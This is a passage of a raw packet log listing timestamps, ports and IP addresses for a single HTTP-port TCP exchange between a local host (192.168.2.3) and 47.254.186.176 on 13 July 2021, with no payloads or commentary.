Jul 13, 2021 14:37:52.910226107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910242081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910254002 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910257101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910271883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910279989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910300016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910356045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910398006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910413980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910433054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910448074 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910463095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910474062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910511017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910593033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910609961 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910624981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910640001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910659075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910676956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910679102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910700083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910706997 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910733938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.910880089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910943985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.910984039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911003113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911020041 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911024094 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911039114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911071062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911082029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911226034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911247015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911262989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911272049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911278009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911293030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911303043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911308050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911324024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911330938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911339998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911350965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911366940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911387920 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911402941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911427975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911468983 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911478043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911515951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911523104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911555052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911597967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911612988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911631107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911640882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911647081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911681890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911704063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911720037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911735058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911757946 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911834955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911886930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911904097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911917925 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911936998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911946058 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911952972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.911979914 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.911979914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912028074 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912048101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912064075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912111998 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912118912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912136078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912151098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912174940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912175894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912208080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912280083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912297010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912349939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912377119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912393093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912451982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912466049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912482977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912497997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912512064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912523031 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912529945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912578106 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912640095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912659883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912676096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912691116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912705898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912720919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912761927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912784100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912801981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912857056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.912879944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.912935019 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913002014 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913027048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913047075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913063049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913078070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913093090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913108110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913109064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913161039 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913256884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913275003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913289070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913306952 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913307905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913326025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913336992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913347006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913398027 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913405895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913414955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913429976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913444996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913477898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913496017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913516998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913535118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913558960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913563967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913590908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913600922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913629055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913666964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913705111 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913722038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913737059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913743973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913752079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913768053 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913825035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913861990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.913911104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913949013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913964033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913980007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.913999081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914015055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914036989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914136887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914158106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914170980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914182901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914201021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914216995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914232016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914287090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914335012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914354086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914361000 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914371014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914402962 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914433956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914448023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914479017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914483070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914499998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914527893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914546967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914561987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914599895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914601088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914617062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914633036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914681911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914705992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914740086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914747953 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914757013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914784908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914819956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914834976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914853096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914861917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914900064 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.914916992 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914953947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.914983034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915005922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915023088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915088892 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915169001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915186882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915203094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915219069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915235043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915247917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915254116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915271997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915278912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915318012 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915333033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915337086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915354013 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915389061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915421963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915431023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915458918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915477991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915503025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915513039 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915549994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915596962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915612936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915627956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915642977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915657997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915673018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915678024 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915747881 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915766954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915870905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915889025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915910006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915930033 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915956020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.915965080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915981054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.915994883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916038990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916070938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916085958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916100979 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916106939 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916120052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916136980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916155100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916186094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916192055 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916222095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916235924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916265011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916347980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916393042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916429996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916445017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916460037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916464090 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916490078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916501045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916518927 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916521072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916538000 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916548967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916553020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916590929 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916627884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916662931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916698933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916717052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916728020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916744947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916762114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916762114 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916781902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916799068 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916805983 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916825056 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916853905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916871071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916903973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916919947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916944027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916949987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916963100 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.916966915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.916981936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917012930 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917048931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917069912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917105913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917109966 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917129040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917145967 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917156935 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917160988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917185068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917222023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917264938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917280912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917295933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917308092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917309046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917339087 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917376995 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917392015 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917408943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917453051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917465925 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917468071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917469025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917495012 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917514086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917531013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917531967 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917557001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917571068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917572975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917578936 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917629004 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917629957 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917644024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917663097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917668104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917705059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917722940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917738914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917753935 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917769909 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917813063 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917834044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917880058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917893887 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917895079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:52.917924881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:52.917951107 CEST	49757	80	192.168.2.3	47.254.186.176
